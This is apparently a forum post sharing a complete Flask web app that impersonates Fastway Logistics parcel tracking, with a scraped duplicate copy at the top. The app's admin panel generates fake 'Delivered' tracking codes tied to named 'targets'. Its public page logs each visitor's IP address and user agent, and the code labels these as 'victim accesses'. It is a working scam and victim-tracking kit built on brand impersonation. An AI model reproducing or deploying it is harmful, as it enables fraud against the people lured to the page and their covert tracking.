'''@app.route('/', methods=['GET', 'POST'])def admin():global tracking_data, access_logsif request.method == 'POST':if 'country' in request.form:# Generate new codecountry = request.form['country'].strip().title()code = 'FW' + secrets.token_hex(6).upper()[:8] # FWXXXXXXXX formattracking_data[code] = {'country': country,'status': f' Delivered in {country}','updated': datetime.now().strftime('%Y-%m-%d %H:%M:%S'),'target': '','last_seen': ''}save_data(tracking_data)elif 'code' in request.form:code = request.form['code']if code in tracking_data:if 'status' in request.form:tracking_data[code]['status'] = request.form['status'].strip()if 'target' in request.form:tracking_data[code]['target'] = request.form['target'].strip()tracking_data[code]['updated'] = datetime.now().strftime('%Y-%m-%d %H:%M:%S')save_data(tracking_data)recent_logs = access_logs[-20:] if access_logs else []return render_template_string(ADMIN_TEMPLATE, tracks=tracking_data, recent_logs=recent_logs)@app.route('/track/')def track(code):global access_logs# Log victim accesslog_entry = {'timestamp': datetime.now().isoformat(),'code': code,'ip': request.remote_addr,'user_agent': request.headers.get('User-Agent', ''),'country': request.headers.get('X-Forwarded-For', '').split(',')[0] if request.headers.get('X-Forwarded-For') else request.remote_addr}append_log(log_entry)# Update last seenif code in tracking_data:tracking_data[code]['last_seen'] = datetime.now().strftime('%Y-%m-%d %H:%M:%S')save_data(tracking_data)data = tracking_data.get(code)return render_template_string(PUBLIC_TEMPLATE, code=code, data=data)@app.route('/logs')def logs():return jsonify(access_logs[-100:])@app.route('/api/track/')def api_track(code):return jsonify(tracking_data.get(code, {'error': 'Not found'}))if __name__ == '__main__':app.run(debug=True, host='0.0.0.0', port=5000)","answerCount":0,"upvoteCount":1,"dateCreated":"2026-03-02T04:56:11.747Z","author":{"@type":"Person","name":"nflexfaith-cmd"}}}
from flask import Flask, request, render_template_string, jsonify import secrets import json from datetime import datetime import os app = Flask(name) # Storage files (persistent across restarts) DATA_FILE = 'tracking_data.json' LOGS_FILE = 'access_logs.json' def load_data(): try: with open(DATA_FILE, 'r') as f: return json.load(f) except: return {} def save_data(data): with open(DATA_FILE, 'w') as f: json.dump(data, f) def load_logs(): try: with open(LOGS_FILE, 'r') as f: return json.load(f) except: return [] def append_log(log_entry): logs = load_logs() logs.append(log_entry) with open(LOGS_FILE, 'w') as f: json.dump(logs, f, indent=2) # Load existing data tracking_data = load_data() access_logs = load_logs() # FASTWAY BRANDING TEMPLATES ADMIN_TEMPLATE = ''' Fastway Logistics - Admin Panel body { font-family: Arial; background: #f5f5f5; padding: 20px; max-width: 900px; margin: auto; } .header { background: #d32f2f; color: white; padding: 20px; text-align: center; } .form { background: white; padding: 20px; margin: 20px 0; border-radius: 8px; } .track { background: white; padding: 15px; margin: 10px 0; border-left: 5px solid #d32f2f; } button { background: #d32f2f; color: white; padding: 10px 20px; border: none; border-radius: 4px; cursor: pointer; } input { padding: 10px; margin: 5px; width: 200px; } .status-update { width: 300px; } 🚚 FASTWAY LOGISTICS Tracking Code Generator & Manager Generate New Tracking Code 🚀 Generate Code Active Shipments ({{ tracks|length }} tracking) {% for code, data in tracks.items() %} {{ code }} → {{ data.country }} Status: {{ data.status }} Target: {{ data.target or 'Not set' }} | Last seen: {{ data.last_seen or 'Never' }} Update Status Add Target {% endfor %} Recent Victim Accesses (Last 20) {% for log in recent_logs %} {{ log.timestamp }} | {{ log.code }} | {{ log.ip }} | {{ log.country }} {% endfor %} ''' PUBLIC_TEMPLATE = ''' Fastway Logistics - Track Package * { margin: 0; padding: 0; box-sizing: border-box; } body { font-family: 'Segoe UI', Arial; background: linear-gradient(135deg, #667eea 0%, #764ba2 100%); min-height: 100vh; } .container { max-width: 500px; margin: 50px auto; background: white; border-radius: 15px; box-shadow: 0 20px 40px rgba(0,0,0,0.1); overflow: hidden; } .header { background: #d32f2f; color: white; padding: 30px; text-align: center; } .logo { font-size: 28px; font-weight: bold; margin-bottom: 10px; } .content { padding: 40px; } .status { background: #e8f5e8; padding: 20px; border-radius: 10px; margin: 20px 0; border-left: 5px solid #4caf50; } .status h3 { color: #2e7d32; margin-bottom: 10px; } .location { font-size: 24px; font-weight: bold; color: #d32f2f; } .details { background: #f9f9f9; padding: 20px; border-radius: 8px; margin-top: 20px; } .detail-row { display: flex; justify-content: space-between; margin: 10px 0; } .updated { color: #666; font-style: italic; } @media (max-width: 480px) { .container { margin: 20px; } } 🚚 FASTWAY LOGISTICS Real-Time Package Tracking {% if data %} ✅ Package Update {{ data.status }} Tracking ID: {{ code }} Destination: {{ data.country }} Status: {{ data.status }} Last Updated: {{ data.updated }} {% else %} Tracking ID Not Found Please check your tracking number and try again. 🔍 {% endif %} ''' @app.route('/', methods=['GET', 'POST']) def admin(): global tracking_data, access_logs if request.method == 'POST': if 'country' in request.form: # Generate new code country = request.form['country'].strip().title() code = 'FW' + secrets.token_hex(6).upper()[:8] # FWXXXXXXXX format tracking_data[code] = { 'country': country, 'status': f'✅ Delivered in {country}', 'updated': datetime.now().strftime('%Y-%m-%d %H:%M:%S'), 'target': '', 'last_seen': '' } save_data(tracking_data) elif 'code' in request.form: code = request.form['code'] if code in tracking_data: if 'status' in request.form: tracking_data[code]['status'] = request.form['status'].strip() if 'target' in request.form: tracking_data[code]['target'] = request.form['target'].strip() tracking_data[code]['updated'] = datetime.now().strftime('%Y-%m-%d %H:%M:%S') save_data(tracking_data) recent_logs = access_logs[-20:] if access_logs else [] return render_template_string(ADMIN_TEMPLATE, tracks=tracking_data, recent_logs=recent_logs) @app.route('/track/') def track(code): global access_logs # Log victim access log_entry = { 'timestamp': datetime.now().isoformat(), 'code': code, 'ip': request.remote_addr, 'user_agent': request.headers.get('User-Agent', ''), 'country': request.headers.get('X-Forwarded-For', '').split(',')[0] if request.headers.get('X-Forwarded-For') else request.remote_addr } append_log(log_entry) # Update last seen if code in tracking_data: tracking_data[code]['last_seen'] = datetime.now().strftime('%Y-%m-%d %H:%M:%S') save_data(tracking_data) data = tracking_data.get(code) return render_template_string(PUBLIC_TEMPLATE, code=code, data=data) @app.route('/logs') def logs(): return jsonify(access_logs[-100:]) @app.route('/api/track/') def api_track(code): return jsonify(tracking_data.get(code, {'error': 'Not found'})) if name == 'main': app.run(debug=True, host='0.0.0.0', port=5000)
nflexfaith-cmd
FREEOP

14 days ago

from flask import Flask, request, render_template_string, jsonify

import secrets

import json

from datetime import datetime

import os

app = Flask(__name__)

# Storage files (persistent across restarts)

DATA_FILE = 'tracking_data.json'

LOGS_FILE = 'access_logs.json'

def load_data():

try:

with open(DATA_FILE, 'r') as f:

return json.load(f)

except:

return {}

def save_data(data):

with open(DATA_FILE, 'w') as f:

json.dump(data, f)

def load_logs():

try:

with open(LOGS_FILE, 'r') as f:

return json.load(f)

except:

return []

def append_log(log_entry):

logs = load_logs()

logs.append(log_entry)

with open(LOGS_FILE, 'w') as f:

json.dump(logs, f, indent=2)

# Load existing data

tracking_data = load_data()

access_logs = load_logs()

# FASTWAY BRANDING TEMPLATES

ADMIN_TEMPLATE = '''

<!DOCTYPE html>

<html>

<head>

<title>Fastway Logistics - Admin Panel</title>

<style>

body { font-family: Arial; background: #f5f5f5; padding: 20px; max-width: 900px; margin: auto; }

.header { background: #d32f2f; color: white; padding: 20px; text-align: center; }

.form { background: white; padding: 20px; margin: 20px 0; border-radius: 8px; }

.track { background: white; padding: 15px; margin: 10px 0; border-left: 5px solid #d32f2f; }

button { background: #d32f2f; color: white; padding: 10px 20px; border: none; border-radius: 4px; cursor: pointer; }

input { padding: 10px; margin: 5px; width: 200px; }

.status-update { width: 300px; }

</style>

</head>

<body>

<div class="header">

<h1>truck emoji FASTWAY LOGISTICS</h1>

<h2>Tracking Code Generator & Manager</h2>

</div>

<div class="form">

<h3>Generate New Tracking Code</h3>

<form method="POST">

<input name="country" placeholder="Country (e.g. China, USA, UK)" required>

<button>rocket emoji Generate Code</button>

</form>

</div>

<h3>Active Shipments ({{ tracks|length }} tracking)</h3>

{% for code, data in tracks.items() %}

<div class="track">

<strong>{{ code }}</strong> → {{ data.country }}<br>

Status: <span style="color: green;">{{ data.status }}</span><br>

Target: {{ data.target or 'Not set' }} | Last seen: {{ data.last_seen or 'Never' }}

<form method="POST" style="display: inline; margin-left: 20px;">

<input type="hidden" name="code" value="{{ code }}">

<input class="status-update" name="status" placeholder="Update status (Delivered in China)" value="{{ data.status }}">

<button>Update Status</button>

</form>

<form method="POST" style="display: inline; margin-left: 10px;">

<input type="hidden" name="code" value="{{ code }}">

<input name="target" placeholder="Target name" value="{{ data.target or '' }}">

<button>Add Target</button>

</form>

</div>

{% endfor %}

<h3>Recent Victim Accesses (Last 20)</h3>

<div style="background: white; padding: 20px; max-height: 300px; overflow-y: scroll;">

{% for log in recent_logs %}

<div>{{ log.timestamp }} | {{ log.code }} | {{ log.ip }} | {{ log.country }}</div>

{% endfor %}

</div>

</body>

</html>

'''

PUBLIC_TEMPLATE = '''

<!DOCTYPE html>

<html>

<head>

<title>Fastway Logistics - Track Package</title>

<meta name="viewport" content="width=device-width">

<style>

* { margin: 0; padding: 0; box-sizing: border-box; }

body { font-family: 'Segoe UI', Arial; background: linear-gradient(135deg, #667eea 0%, #764ba2 100%); min-height: 100vh; }

.container { max-width: 500px; margin: 50px auto; background: white; border-radius: 15px; box-shadow: 0 20px 40px rgba(0,0,0,0.1); overflow: hidden; }

.header { background: #d32f2f; color: white; padding: 30px; text-align: center; }

.logo { font-size: 28px; font-weight: bold; margin-bottom: 10px; }

.content { padding: 40px; }

.status { background: #e8f5e8; padding: 20px; border-radius: 10px; margin: 20px 0; border-left: 5px solid #4caf50; }

.status h3 { color: #2e7d32; margin-bottom: 10px; }

.location { font-size: 24px; font-weight: bold; color: #d32f2f; }

.details { background: #f9f9f9; padding: 20px; border-radius: 8px; margin-top: 20px; }

.detail-row { display: flex; justify-content: space-between; margin: 10px 0; }

.updated { color: #666; font-style: italic; }

@media (max-width: 480px) { .container { margin: 20px; } }

</style>

</head>

<body>

<div class="container">

<div class="header">

<div class="logo">truck emoji FASTWAY LOGISTICS</div>

<div>Real-Time Package Tracking</div>

</div>

<div class="content">

{% if data %}

<div class="status">

<h3>white_check_mark emoji Package Update</h3>

<div class="location">{{ data.status }}</div>

</div>

<div class="details">

<div class="detail-row"><strong>Tracking ID:</strong> <span>{{ code }}</span></div>

<div class="detail-row"><strong>Destination:</strong> <span>{{ data.country }}</span></div>

<div class="detail-row"><strong>Status:</strong> <span style="color: #4caf50;">{{ data.status }}</span></div>

<div class="detail-row"><strong>Last Updated:</strong> <span class="updated">{{ data.updated }}</span></div>

</div>

{% else %}

<div style="text-align: center; padding: 40px; color: #666;">

<h2>Tracking ID Not Found</h2>

<p>Please check your tracking number and try again.</p>

<div style="font-size: 80px; margin: 20px 0;">mag emoji</div>

</div>

{% endif %}

</div>

</div>

<script>

// Auto-refresh every 30s for realism

setTimeout(() => location.reload(), 30000);

</script>

</body>

</html>

'''

@app.route('/', methods=['GET', 'POST'])

def admin():

global tracking_data, access_logs

if request.method == 'POST':

if 'country' in request.form:

# Generate new code

country = request.form['country'].strip().title()

code = 'FW' + secrets.token_hex(6).upper()[:8] # FWXXXXXXXX format

tracking_data[code] = {

'country': country,

'status': f'white_check_mark emoji Delivered in {country}',

'updated': datetime.now().strftime('%Y-%m-%d %H:%M:%S'),

'target': '',

'last_seen': ''

}

save_data(tracking_data)

elif 'code' in request.form:

code = request.form['code']

if code in tracking_data:

if 'status' in request.form:

tracking_data[code]['status'] = request.form['status'].strip()

if 'target' in request.form:

tracking_data[code]['target'] = request.form['target'].strip()

tracking_data[code]['updated'] = datetime.now().strftime('%Y-%m-%d %H:%M:%S')

save_data(tracking_data)

recent_logs = access_logs[-20:] if access_logs else []

return render_template_string(ADMIN_TEMPLATE, tracks=tracking_data, recent_logs=recent_logs)

@app.route('/track/<code>')

def track(code):

global access_logs

# Log victim access

log_entry = {

'timestamp': datetime.now().isoformat(),

'code': code,

'ip': request.remote_addr,

'user_agent': request.headers.get('User-Agent', ''),

'country': request.headers.get('X-Forwarded-For', '').split(',')[0] if request.headers.get('X-Forwarded-For') else request.remote_addr

}

append_log(log_entry)

# Update last seen

if code in tracking_data:

tracking_data[code]['last_seen'] = datetime.now().strftime('%Y-%m-%d %H:%M:%S')

save_data(tracking_data)

data = tracking_data.get(code)

return render_template_string(PUBLIC_TEMPLATE, code=code, data=data)

@app.route('/logs')

def logs():

return jsonify(access_logs[-100:])

@app.route('/api/track/<code>')

def api_track(code):

return jsonify(tracking_data.get(code, {'error': 'Not found'}))

if __name__ == '__main__':

app.run(debug=True, host='0.0.0.0', port=5000)

Awaiting Template Creator Response

0 Replies

Loading...